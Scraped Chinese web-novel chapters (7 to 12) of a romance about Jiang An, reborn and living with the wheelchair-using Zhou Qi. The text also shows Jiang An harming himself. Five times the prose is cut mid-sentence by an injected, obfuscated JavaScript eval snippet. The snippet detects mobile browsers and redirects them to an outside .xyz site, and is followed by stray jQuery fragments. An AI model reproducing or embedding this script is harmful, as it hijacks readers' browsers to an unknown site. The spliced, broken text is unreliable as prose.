江安本以为自己已经准备好了,可直到见到周齐的那一刻,他才明白,所有的准备都是徒劳和枉然。现在和过去的记忆交织碰撞,让他有种想要立刻从这里拔腿逃走的冲动。 他似乎失去了开口说话的能力,双腿定在原地,狼狈不堪。 周齐神色不明地打量着江安,这个被自己强行掳到身边的人。 “江安。”他轻声念着他的名字,分明是坐着的,清冷的声音加上那张精致的面孔,倒显得他像个俯瞰终生的神祇,“之前都没看出来,原来你也可以这么乖。” 乖? 江安愣神了好一会,直到灵魂逐渐归窍,这才反应过来周齐说的“乖”是指他。 也许是那刻在骨子里的桀骜不驯,又或许是心里那份说不清道不明的怨恨,大脑甚至都来不及思考,便被怨恨裹挟着开口:“周总您有权有势,在您面前,谁敢不乖啊?” 他似乎还不满意,刻意用打量的目光看向周齐盖在腿上的毛毯,勾唇轻笑,嘲弄的意味溢于言表。 可周齐似乎并未动怒,又或许是他已经怒到了极致,只是不知道是出于怎样的原因,依旧平静地道:“看来乖只是表象。” 江安挑了挑眉,不置可否。 周齐又道:“知道你父亲为什么会答应把你送给我吗?” 提到江博瀚,江安神色微变,他抿着唇,没有说话。 周齐看着他,唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861106|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓勾起一个微小的弧度,像个高高在上的胜利者:“还不是因为你不乖。” …… 有时候命运真的是一种很神奇的东西,不同的选择,就会造就不同的结果,就连过程都会变得完全不一样。 上辈子江安拒绝了周齐,等再和周齐扯上关系又过了很久。曾经的不愉快被刻意埋藏了起来,没有人提起,也没有这些针锋相对。 而现在,江安过早地来到了周齐身边,却忘了他们那不愉快的见面,忘了自己几乎让周齐颜面扫地。 于是他从未想过周齐在自己面前,竟然还会有攻击性这么强的一面,就连说出来的话都如此尖酸刻薄,直戳他的痛处。正如他也没想过,突如其来的怨恨盖过了所有,成了唯一主宰着他的情绪。 他想,他或许是恨周齐的。 这股恨意似乎由来已久,只是一直没被他发现,藏在心底,时间久了,就成了一块沉疴的脓疮烂疤,一个不小心,就会爆发出来。 “之前就听说您喜欢玩男人,没想到还真是,也不知道您有没有个什么兄弟姐妹的?不然这家里可不是要绝后了?” “哦对了,不知道您想怎么玩?不过您年纪大了,会不会力不从心?” “差点忘了,您腿脚不好,不知道其他地方是不是也不好了?” 说这些话的时候,江安心里并不痛快。可看到周齐脸上的笑意渐渐消失,看着他不自觉抿紧的唇,看着他手背上因为用力而突起的青筋……心里又突然产生了一种扭曲的快感,让他忍不住轻笑出声。 “啊,不过不重要,毕竟,您可以为所欲为。” “砰——” 大门被用力关上,似乎还能听见轮椅急促滚动着远离的声音。 江安缓缓吐了口气,靠在墙上。他这才发现,后背上已经出了一层汗,手心里也是黏腻的汗水,指尖更是控制不住地在发抖。 他突然就很想抽烟,此刻仿佛只有尼古丁能带给他短暂的平静。可在裤兜里摸了半天,却什么也没摸到。 烟瘾上来是真的很难受,每根血管里都仿佛有无数只蚂蚁在爬。 他仰着头,右手握拳,用力往门框上砸。 …… 也不知过了多久,耳边再一次传来大门被打开的声音。 紧接着是皮鞋在地砖上走动的声音。 他听到有人在问:“你这是在做什么?!” 声音里带着愤怒和不解。 他被人从地上扶了起来,半躺在沙发上,定睛看去,原来是自己的“监督人”。 “监督人”看着江安鲜血淋漓的右手,神情凝重,欲言又止,可江安只是摆了摆手,无奈地对他笑笑:“没事儿。” 在“监督人”给他处理伤口的时候,江安透过他的肩膀往门口的方向望。 “你怎么又回来了?” “监督人”动作顿了一下,沉声答道:“我来帮周总拿文件。” “哦。” “只是拿文件啊。” 8. 第 8 章(修) 继两人不愉快的第二次见面后,没想到第三次的见面会以这样惨烈的方式宣告结束。 江安用力扣抓着手上的伤口,悔意如附骨之疽般缠着他,钻进他的皮肉,啃食他的骨髓。他无数次设想过自己和周齐再一次见面时的场景,却想不到会以周齐的嘲讽为开始,以他的怨恨为结尾。 他蹲在地上,自虐般地任由冰凉的水流冲刷着身体,冰冷而又麻木。 他似乎总是这样,把一切都给搞砸,就算再来一次也是一样,实在是个没用的废物。 可当江安浑浑噩噩地洗完澡,从浴室里出来的时候,却见到周齐正在客厅里办公。他就坐在餐桌前,背脊挺直,面前放着台笔记本,鼻梁上多了副无框眼镜,皮肤在白炽灯的照射下更显得白皙。 不是被他气走了吗? 江安愣愣地看了好一会,不由得轻笑出声。 周齐听到声音,抬眼看着他,神色平静温和,似乎刚刚的争吵只是江安记忆中的一场错觉。 明知故问:“洗澡了?” 江安眼神微闪,舔舔唇,轻声答道:“嗯,刚洗过。” 他侧过身靠在门框上,仔细端详着周齐,却发现自己怎么也看不透对方。 “吃了吗?”周齐又问。 “没有。”江安回道,顿了顿,他反问道,“您呢?吃了吗?” 周齐点头,但他左手拇指轻搓食指的动作还是没逃过江安的眼睛。他知道那是周齐每次说谎时下意识的动作,这点就连周齐自己都不知道。 于是江安站直身子,越过周齐,一边往厨房走,一边说道:“唔……我不怎么会做菜,炒个青菜,再做个西红柿蛋汤?” 不等周齐回话,他又自顾自否决了自己的提议:“做菜的话还要煮饭,太久了,干脆直接下两碗西红柿鸡蛋面算了。” 他拿了两个西红柿和鸡蛋,在厨房的柜子里翻找了一下,趴在门框上晃了晃手上的两包方便面,笑道:“我拆两袋方便面您不介意吧?” 周齐推了推眼镜,淡淡道:“可以。” 江安立马露出甜甜的笑:“好嘞!” 说完便转身回了厨房。 厨房门被轻轻关上,将一切都隔绝在外。 这时江安才发现自己腿都有点软了,心跳如鼓,紧张而又激动。 他捂着脸,另一只手撑在料理台上,闷闷地笑出了声。 …… 等一锅香喷喷的西红柿鸡蛋面做好了,正好是晚上九点半。 江安把两碗面条端到桌上,周齐礼貌地对他说了声谢谢,江安愣了下,回了个大大的笑脸,将筷子递给他:“不客气。” 尴尬的气氛似乎就这么缓解了不少。 他有太多的问题想问周齐,就比如说为什么见到他开口第一句话就是,“原来你也可以这么乖”。 这简直就是在他的逆鳞上跳舞。熟悉他的人都知道,他最恨的,就是有人说他乖。或许是骨子里的叛逆,或许是对江博瀚的反抗,他从小就最忌讳“乖”这个字,在江安眼中,它代表了自己对江博瀚的顺从和讨好,让他变得不再像自己。 可这样的气不该对周齐发。不管周齐说了什么。 他思虑良久,突然开口道:“之前的事情,对不起。” 似乎是没想到江安竟然会跟自己说“对不起”,周齐略显意外地看着他。 江安憋了半天,终于还是没忍住,再一次开口:“那些话……对不起,我不应该那样跟您说话。” 说完他又垂头丧气了起来,无比后悔自己的冲动。 却不料,周齐只是淡淡地点了点头,道:“没事,不用在意。” 握着筷子的手收紧,指尖都用力到微微泛白,最后又缓缓松开,像是失去了所有力气。江安扯了扯嘴角,低头吃面:“您不生气就行。” 却还是在心里又小声说了句:对不起。懊恼自己的冲动和头脑不清醒。 周齐身体不好,胃口也比正常人小很多,等江安吃完了,他才吃了一半,放下筷子,擦了擦嘴,示意自己已经吃饱了。 习惯了周齐的小胃口,江安也没多问什么,把碗筷收到厨房,等洗完碗出来后,发现周齐已经回了房间。 看着虚掩着的房门,还有从门缝里透出来的暖黄色灯光,就连空气中也飘散着淡淡的玫瑰香味。江安脚步顿住,一些本该忘记的事情,这时候又猛地一下从记忆里蹿出来。 这是周齐的规“规矩”——他在邀请江安跟他上床。 其实这也是从当初那个和周齐有染的人嘴里传出来的,也是因为那个人,几乎所有人都知道了周齐是个同性恋,同时这件事也打破了外界对周齐的一些看法。 不可避免的,每当周齐这么做的时候,江安就会想起那个人。他不知道周齐和那个人之间发生了什么,只是传出来的话题太过艳情,让他在很长一段时间里都十分抗拒周齐。 多年相处,这种“规矩”也早就消失,没想到重生一遭,竟然还能见到。于是江安也没想到,自己竟然到现在都这么在意这件事。 江安走过去敲了敲周齐的门,在得到允许后走了进去,看到周齐正靠坐在床的一侧,另一侧还空着。 他尽量控制自己不去往床上看:“周总,这里有我能穿的衣服吗?” 周齐看了眼江安身上的浴袍,开口道:“衣柜里有你的衣服。” 江安神色微动,抿了抿唇,走过去拉开衣柜。果不其然,周齐已经提前为他准备好了衣服,他自己的放在左边,江安的放在右边,泾渭分明。 他从里面拿了套深蓝色的睡衣,用力抠抓着,装作自己什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861107|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道:“您早点睡觉,我……”他舔舔唇,闷闷地道:“我就睡在隔壁,您有需要的话可以随时喊我。” 周齐指尖顿住,视线从手机上离开,侧目看着右边空出来的位置,轻轻点头,“好。” …… “所以说,周齐没有强迫你?你们就这样一人睡一间房,什么也没干?” 潘乐游猛地灌了口酒,惊讶地看着江安。 许久没有来这种嘈杂的地方,江安一时间还有些不适应,他喝了口酒,长叹一声:“是啊。” 潘乐游更惊讶了:“你看起来竟然还有些失望?” 江安顿住,眯着眼睛,危险地看向潘乐游,摩拳擦掌。 潘乐游立马捂住嘴,讨好地给江安又倒了杯酒:“哥,是我说错话了,您别生气,喝酒,喝酒。” 不过他这人情绪外露,江安不用猜都知道他在想什么。 他和周齐之间的事情太过复杂,他不想也不能和别人多说什么,只能一个人憋在心里,一杯接一杯地灌酒,红的白的啤的,有什么喝什么。自然而然的,没一会儿就把自己给灌醉了。 和其他人不一样,江安喝醉之后不喊不闹,甚至连脸都不红,不仔细看甚至都看不出来他喝醉了。 潘乐游还在一旁絮絮叨叨:“早知道我就不把你送回去了,就让你在外面藏好,他们找不到人也不能把你怎么样……” 要不说潘乐游缺心眼呢。江安冷笑着瞥了他一眼,迷迷糊糊地想。不过就算没有潘乐游,他也会回去。 这时候潘乐游鬼鬼祟祟地看了周围一眼,见没人关注他们,凑到江安耳边,用气音对他道:“你昨天怎么没过来找我啊?” 找他?找他做什么? “我不是电话里跟你说了,给你订了张机票,让你去国外先避避风头的吗?” “机票?” “对啊!你当时不是还跟我说好的,结果我在你家楼下等了你半天都没等到你!” 这时候江安已经快醉迷糊了,听是听见了,脑子却处理不了这些信息,整个人都处于一种茫然的状态。 潘乐游还没发现:“我可是想了半天才想到这招的!去年宣静就这么逃婚的,到现在都没回来,她家里也没把她怎么样,听说现在人在外面混得风生水起呢,前段时间还考上了名牌儿大学的研究生……” 江安的意识已经不清醒了,他只是一杯接一杯地喝着酒,酒没了,潘乐游就给他倒,嘴里叽里咕噜地说着,江安一个字都没听进去。 他嫌潘乐游吵,笑了笑打断他的话,让他陪自己喝酒。 潘乐游也很听话,就陪着江安喝,只是神色里还是充满了对江安的担忧。 他了解江安,就算江安不说,他也能看出江安的不一样。和跟周文煊在一起时,一点都不一样。 9. 第 9 章(修) 日子就这么一天天地过着,江安也没再和周齐发生什么争吵,他们平和地相处着,就像住在同一间屋子里的室友。 许是看出江安的不喜,周齐也没有再邀请过江安。 这让江安感觉到挫败的同时,又深深地懊恼和后悔——他为什么非要那么矫情? 但这一切都是他活该,不管结局怎样都该他自食恶果。 潘乐游跟他说下周末有个初中同学的聚会,想让他一起去。江安本来是不打算去的,但潘乐游告诉他黄老师也会去,犹豫了一下,最后还是决定过去。 因为他突然想起来自己有件东西要还给黄老师。 他本来不打算跟周齐说的,但想到自己现在的身份,觉得还是要和金主汇报一下比较好。但周齐也不知道是不是在忙,头也不抬地应了一声,没多说什么。 江安觉得无趣,关门的时候故意用了力,砰的一声,震得墙壁都在打颤。 反应过来后又懊恼地暗骂一声,试图找补。想起周齐喜欢喝咖啡,就去网上临时学了下手冲咖啡的教程。 “咚咚咚” 江安端着自己刚冲好的咖啡给周齐送过去。 周齐摘下眼镜,有些意外地看着他,“你还会冲咖啡?” 江安莫名心虚,支支吾吾地应了一声。 周齐眼神古怪地打量了江安一眼,却也很给面子地喝了一口。 “怎么样?”江安问道。 周齐抿了抿唇,将咖啡放下:“挺好,还有进步空间。” 悬着的心终于落了下来,江安扬起笑容,兴奋地对周齐道:“您要是喜欢的话,以后我经常给您冲。” 金丝雀就要有金丝雀的自觉。江安心想。 江安是个夜猫子,生活作息和正常人不一样,凌晨两点的时候还趴在床上看恐怖电影,突然听到隔壁传来一声闷响,吓得他差点从床上蹦起来。缓过神后,他像是突然想起了什么,连忙跑了过去。 周齐在浴室里摔倒了。 看起来应该是想上厕所,结果扶手上有水,手一滑,整个人就这么摔在了地上。 周齐穿着一身黑色的睡袍,那双平时总是被毛毯盖住的双腿就这样明晃晃地暴露在外面。 瘦弱、无力,苍白得不像话。 这双腿江安曾经见过很多次,情到浓时还特别喜欢在上面印下一个又一个的吻痕,明明周齐这双腿早就失去了知觉,江安却依旧乐此不疲。他甚至怀疑过自己是不是有什么心理上的疾病,不然为什么会对这样一双病态的腿情有独钟。 在周齐发现自己之前,江安连忙藏起来,他屏住呼吸,生怕被周齐听到动静。 这个世界对残疾人是非常残酷的,一些正常人轻而易举就能做到的事情,残疾人要花上许久,甚至还有可能做不好。 他听到周齐尝试了一遍又一遍,一次又一次地摔倒在地上。客厅里的秒针滴答滴答地往前走着,直到听到卫生间里传来冲水的声音,江安才悄悄回了房间。 …… 第二天上午,江安一打开房门就看到了坐在那吃早餐的周齐,他愣了下,还以为自己是不是起太早了,跑回去看了眼手机,发现现在确实是上午十点多。 只是略作思考,便明白了周齐的用意。 他挑了挑眉,心花怒放。 桌上摆着一笼热气腾腾的奶黄包,白白嫩嫩,一口咬下去细腻绵滑的内陷直接塞了满嘴,分外满足。 他将嘴里的包子咽下去,喝了口豆浆,犹豫了一下,还是对周齐道:“我下午要出去一趟。” 周齐也没问他要去哪,要和谁去,去做什么,去多长时间,就答应了。 这让江安心里有些失落,又没法发作出来,用力咬了口包子,不死心地继续道:“晚上也不回来吃饭了。” 周齐依旧是淡淡地“嗯”了一声,回着消息,并没有多看江安一眼。 江安终于泄了气,低头喝了口豆浆:“和潘乐游一起,去世纪广场给初中班主任买礼物。” 囫囵将手上的奶黄包吃完,连豆浆也不喝完,就直接回房了。 又是砰的一声,周齐抬头望去,却只看到了紧闭着的房门。 可随即,房门又被打开,江安趴在门框上,龇牙笑道:“就,跟您报备一下。” 也不知道是为什么,周齐下意识轻笑出声:“好,我知道了。” * 下午潘乐游如约而至来到周齐家小区门口,在看到江安的时候又碎碎念了起来:“你说周齐这么有钱,怎么还住在这种小区里啊?” 江安扣好安全带,看了眼后视镜里逐渐远去的小区大门,笑了笑,对他道:“有钱人的事别管。” 潘乐游撇撇嘴,倒是没再多说什么。 不过转念又问道:“哥,周齐是真不管你啊?你要不就听我的,赶紧跑,我就不信周齐和你家老头子的手能伸到国外去。” 江安不知道潘乐游一天天的脑子里都在想什么,还跑到国外,他这种没有什么经济能力的,还有这半吊子英语水平,怕是连签证都拿不到。 而且,他根本不可能离开周齐的。 于是开口道:“别一天到晚净想些有的没的,我现在这样挺好的。” 潘乐游听到这话,心里却是一个咯噔,又是愤恨又是无力。江安这样的表现,更让他确定,他一定是陷进去了。 车子很快开到了世纪广场。 也不知道是不是太久没和江安一起出来了,潘乐游显得很兴奋,一路上都叽叽喳喳地和江安说话。江安却显得有些意兴阑珊,有一搭没一搭地应着,十句话有八句都没听进去。 潘乐游也不生气,笑呵呵地拉着他往楼上跑。 “我跟你说,这里新开了一家甜品店,都是老板纯手工做的,味道非常好,你一定会喜欢。” 明明是来给黄老师买礼物,潘乐游却急吼吼地拉着他去吃东西,江安觉得潘乐游也是个人才,不过现在时间还早,也就没有管他。 这家店开在顶楼,靠着电影院旁边,店面不大,看着却很精致,装修也是粉黄色的甜美风,但凡从这路过,都会忍不住停下来看上那么一眼。江安能想象得到,店长一定是一个温柔又热爱生活的人。 潘乐游带他进去,店里只有一个员工,是个清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861108|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦温柔的男人,看着倒是让人眼前一亮。 见到潘乐游,男人脸上不由自主露出了笑,招呼着他:“好久不见。” 潘乐游笑着跟他打招呼,指着柜子里的一个粉色小猪蛋糕对他道:“安大哥,我要这个!” 男人无奈笑笑,走过去把蛋糕取出来,“还要别的吗?”他又看向旁边的江安,“这位是……” 潘乐游把手撑在江安的肩膀上,面上带笑,神色却是难得的认真:“这是我最好的兄弟。” 男人若有所思地看了江安一眼,随即对他笑道:“你好,我叫安然,是这家店的店长。” 这个名字倒是有些好听,江安不由得多看了他一眼。嫌弃地将潘乐游的手挥走,冲他笑道:“江安。” 顿了顿又道:“麻烦帮我拿一份提拉米苏。” “你们是要在这里吃吗?” “嗯。” 潘乐游有些惊讶:“你之前不还说不吃这个?” 提拉米苏上面有一层可可粉,虽然味道不重,但江安并不喜欢一切巧克力味道的东西,哪怕只有一点点,他也挑剔的不喜欢。 江安没有回答这个问题,接过老板递过来的蛋糕,坐在旁边的小桌子上。撕开勺子包装,挖了一块,塞进嘴里。 香甜滑腻的口感足以掩盖可可粉的那点苦味,吃进嘴里几乎一点都尝不出来。 看着对面先是给小猪拍了张照片,然后一勺子将小猪耳朵给刮掉的潘乐游,江安笑笑,突然开口道:“你知道提拉米苏的故事吗?” 嘴里还塞着一大口蛋糕的潘乐游愣了下,将蛋糕吞下,摇了摇头:“蛋糕还有故事啊?” 这时候安然在一旁道:“是意大利士兵出征的那个故事吗?” 江安笑着点头。 江安喜欢吃甜食不是个秘密,只要认识他的都知道。可鲜少有人知道他不喜欢提拉米苏,明明提拉米苏的口感丝滑,味道也很香甜。 在被周齐捡回家后,江安发现周齐总是会在家里准备一些小甜品,像是在刻意迎合着他的口味。后来江安又发现,周齐最喜欢给他准备的蛋糕就是提拉米苏,提拉米苏的出现频率明显要比其他的蛋糕多很多。 可江安并不喜欢,但当时寄人篱下的,也就沉默着没说,周齐准备什么,他就吃什么。 日子过得糊涂,能过一天算一天。 后来有一天,江安少见的早上七点半就醒了,听到厨房那边有声音,开了条门缝悄悄看过去,发现周齐似乎在厨房里做着什么。 只是他腿不好,只能坐在轮椅上,不管做什么都显得很笨拙。 空气中飘散着一股淡淡的奶油香,耳边听到器皿在玻璃碗里搅动的声音。 江安悄悄将房门关上,又回到床上,钻进被窝里。 可这一次,却怎么也睡不着了。 他无数次地想问周齐为什么,可话到嘴边,却始终没有说出口过。说他胆小也好,懦弱也罢,他就这样一直享受着周齐对他的好,直到死亡。 潘乐游的惊叹声打断了江安的回忆,他吃完最后一口蛋糕,笑着对店长道:“谢谢,很好吃。” 10. 第 10 章 其实喊江安出来也是因为想问他在周齐那儿过得怎么样,但潘乐游旁敲侧击了半天,江安愣是一个字都不肯告诉他。 潘乐游没法,只得放弃追问,认真挑选起了礼物。 江安给黄老师买了支钢笔,不贵,也就一百来块钱。 潘乐游嘲笑他也不知道买个贵点的,江安看着潘乐游手上那条价值四千块的围巾,挑挑眉,开口道:“你知道我为什么要买这么便宜的吗?” 潘乐游摇头:“为什么?” 江安用力叹了口气,无可奈何地道:“还不是因为周齐不给钱。” “哈?不给钱?”潘乐游脑子还没转过来。 江安悲愤地道:“是啊!作为一只被包养的金丝雀,竟然连一天工资都没拿到!我现在全身上下加起来也就三百块钱!” 潘乐游闻言大惊:“周齐竟然这么抠门?” 江安用力点头:“是啊!” 潘乐游神色复杂地看着江安,一时间不知道自己该说些什么才能安慰好友,思虑良久,从口袋里掏了张卡递过去:“这样,你先拿我这张卡用着,钱不够了跟我说,我在打给你。” 江安看着被自己耍得团团转的潘乐游,没忍住,非常不厚道地大笑出声。 而潘乐游也是怔愣了好久,才反应过来自己被江安耍了。哭笑不得的同时又有些失落和担忧,江安还是什么都不肯告诉他。 临走时江安又去蛋糕店打包了一份提拉米苏。没别的意思,就觉得老板手艺不错,用的材料也都是好的,很合他的口味。 “我就说他家蛋糕好吃吧?”潘乐游在一旁嘚瑟。 江安看着安然送给潘乐游的那块草莓蛋糕,意味深长地道:“是啊,好吃,老板人也挺好。” 和潘乐游一起逛商场的时候江安难得的放松了一回,潘乐游总在一旁叽叽喳喳,江安左耳朵进右耳朵出,不管潘乐游说什么他只要“嗯嗯嗯”就行了。潘乐游也不会管他到底有没有听进去,一个人在那自得其乐。 可随着车子离家越近,江安就开始发呆愣神,看着一副神游天外的样子,喊他也没个回应,也不知道在想些什么。 潘乐游想说要不还是逃出国吧,他完全可以找关系帮江安把其他事都打点好。可话到嘴边,徘徊了很久却还是没有说出去。 他知道江安不喜欢别人左右自己的决定。 直到下车江安也没和潘乐游说什么,挥了挥手,就直接上楼了。 这个点周齐正在家里办公。 在玄关换鞋的时候,江安听到周齐说:“回来了?” 他愣了下,转头看了眼坐那儿的周齐,也许是因为下午吃了蛋糕的原因,心里突然就有些雀跃。 “回来了。”他说。 将东西放到房间后,江安犹豫良久,又跑出去,靠在门框上,装作不经意地道:“世纪广场顶楼新开了家蛋糕店。” 周齐是有点近视的,办公的时候会戴眼镜,以前江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861109|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安也问过,说是什么防蓝光的。 冰冷的镜片横亘在周齐的鼻梁上,让他看起来更加的冷漠,却更像个精致的人偶娃娃了,看得江安心里痒痒。 闻言周齐推了推眼镜,头也不抬地应了一声。 江安又没来由的烦躁起来,深吸了一口气,在心里对自己说:你现在是被周齐包养的金丝雀,金丝雀是不能和金主生气的,你控制控制自己,不要再和周齐吵架了。 说服了自己后,他轻咳一声,故作平静地道:“其实我挺喜欢吃甜食的,就比如说蛋糕什么的。” 周齐抬头看了眼江安:“嗯,我知道。” 江安闻言眼睛一亮,不可避免地又开心起来,心里面刚刚的那点闷气瞬间消散。他轻咳一声,继续保持平静:“不过我不喜欢提拉米苏。” 这次周齐似乎是愣了一下,惊讶的表情转瞬即逝:“为什么?” 江安没有错过周齐的每一个表情,控制不住地勾起嘴角,喜笑颜开:“因为上面有可可粉。” 周齐问:“你不喜欢可可粉?” 江安解释道:“不喜欢所有和巧克力沾边的东西。” 周齐点头:“好,我知道了。” 那一瞬间,心里像是炸开了烟花。 …… 愉悦的心情一直持续到晚上。 江安洗过澡之后把房门反锁,将下午打包的蛋糕拿出来,心满意足地吃了起来。 每一口,都甜得发腻。 11. 第 11 章 临睡前,江安脑子里全都是周齐,以至于晚上做了个和周齐有关的梦。 他站在周齐面前,看着散了一地的照片,头一次感到了惊慌。他试图将这些照片都藏起来,不让周齐见到,可照片实在是太多太多了,不论他动作有多快,都好像永远也捡不完。 他看到其中一张照片,是他搂着周文煊接吻。 那是周文煊的十八岁生日,他为周文煊办了个盛大的生日party。生日宴会上,他在众目睽睽之下和周文煊接吻,为了宣示自己对周文煊的所有权。 他下意识将那张照片捡起,藏进手心,不自觉地看向周齐,却见他神色冷漠,似乎毫不在意。他又立刻移开视线,不敢和周齐对视。 照片在他掌心里被揉捏成一团,洋溢着灿烂笑容的面庞也变得丑陋扭曲。 他想和周齐解释什么,可每一张照片都是如山的铁证,他不知道自己该从何说起。 幸好,周齐并没有问起这些。 周齐说:“其实我知道你接近我是为了什么……” “不过这些都不重要,我们也是各取所需。” “但是……算了吧。” 江安怔怔地愣在原地,脑子里一时间消化不了周齐的这些话。 见状周齐似乎是觉得无趣,挥了挥手,便转身离开。 江安就这样看着他离自己越来越远,越来越远……他猛地清醒过来,妄图追上去,却被保镖拦住。 他们死死按着江安,在江安的挣扎和怒吼中打断了他的腿。 然后把他丢了出去,让他自生自灭。 冰冷的雨水伴随着呼啸的寒风吹打在他脸上,衣服干了湿,湿了又干,清晨早起的蚂蚁从他的身上路过,让他看起来就像是一团毫无声息的肉块。 绝望和痛苦像利剑一样将他穿透,浑身的每一块骨头都散发着尖锐的疼痛。他这才发现,自己不知什么时候被利刃钉死在了崖壁上,底下就是万丈深渊。 “不要!” 江安从梦中惊醒,慌乱地查看自己的双腿。 健康有力,皮肤光洁,没有一点受过伤的痕迹。 这才松了口气,浑身无力地靠坐在床头。 夜色深重,就连唯一的月光都被乌云遮挡,伸手不见五指。 坐了一会后,被冷汗浸湿的后背开始发凉。他摸黑在抽屉里找到遥控器,空调扇叶缓缓打开,在酝酿了一会儿之后,发出轻微的呼呼声。 他想起白天在商场偷偷买的香烟,从袋子里翻出来,几乎是迫不及待地将烟盒拆开,颤抖着从里面抽了根烟出来,却发现自己忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861110|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买打火机。 努力压抑着的负面情绪在这一刻彻底爆发。 却又怕被隔壁的周齐听见。 只能蜷缩在床上,用力环抱着自己,抠抓着手背上已经结痂的伤口,产生了变态般的快感。 * 也许是夜里没睡好,第二天江安起床的时候已经是下午两点半了,却仍觉得头晕眼花,浑身无力。 周齐这时候应该在公司,家里除了他一个人都没有。 阿姨做好的饭菜摆放在餐桌上,哪怕盖着盖子,看上去也已经凉透。 他打着哈欠去了厨房,然后在冰箱里看到一份提前准备好的蛋糕。样子和昨天在蛋糕店里见到的一款一样,就连包装盒上的标签都没有撕掉。 江安怔怔地看了好一会儿,直到冰箱因为开了太久开始发出警报,才回过神来。 他将蛋糕拿出来扔进垃圾桶,揉了揉眼睛,睡眼惺忪地去卫生间洗漱,可脸才刚洗了一半,就听到门外传来动静。 他甚至连水都来不及擦,连忙跑到厨房把垃圾桶里的蛋糕拿出来,转身的时候视线正好和周齐对上。 周齐看到他脸上的水渍,手上那个东倒西歪的蛋糕,以及不远处的垃圾桶,顿了顿,若无其事地道:“不知道你喜欢吃哪种,就随便买了个。” 12. 第 12 章 不等江安说话,周齐又接着道:“要是不喜欢的话就扔了吧,下次我再换个别的。” 他又转头看向餐桌上已经凉透了的饭菜,没多说什么,操控轮椅去了书房。 房门被轻轻带上,客厅里又只剩下了江安一个人。 江安猛地喘了口气,这才发现自己不知什么时候竟然忘记了呼吸。心跳快得像是要从喉咙里蹦出来,就连耳边都出现了轻微鸣响。 手里的蛋糕在这时候又变得刺眼起来,他狠狠丢进垃圾桶,又回卫生间用凉水冲了把脸。 有些菜多热几次反而能更入味,而有些菜,只有现做出来才好吃。 也许是夜里没睡好,就连吃饭都没什么胃口,筷子在碗里戳了半天,里面的饭菜却只动了寥寥几口。就连自己喜欢吃的菜也因为冷了又热吃起来没了那个味道,食不下咽。 胃里突然一阵犯恶心。 江安捂着嘴,连忙冲进厕所,跪在地上,抱着马桶吐了起来。 可他已经二十多个小时都没吃东西了,除了刚吃下去的那么几口饭,什么都吐不出来。最后吐得只剩下胃酸,嘴里一股难闻的酸臭味。 他在马桶边上趴了好一会,直到手脚发凉,才堪堪缓解了胃里的那股不适感。 等从地上爬起来,才发现膝盖都跪得发硬发痛,就连走路都不太利索。 “要喝点粥吗?”不知什么时候周齐又过来了,正在卫生间门口看着他。 江安愣怔地看着他,过了良久,才缓缓回了句:“好。” …… 却没想到是周齐亲自下厨。 江安在一旁看得胆战心惊。 周齐有些疑惑:“怎么一直在旁边看着我?” 江安如实回答:“我怕您把厨房给炸了。” 周齐笑笑:“那倒不至于。” 话音刚落,煮粥的锅“砰”的一声炸响,盖子更是直接被掀飞了出来,在地上滚了好几圈,最后停在周齐脚边。 四目相对,无奈又好笑。 刚刚还沉郁的情绪,突然间又好了起来。 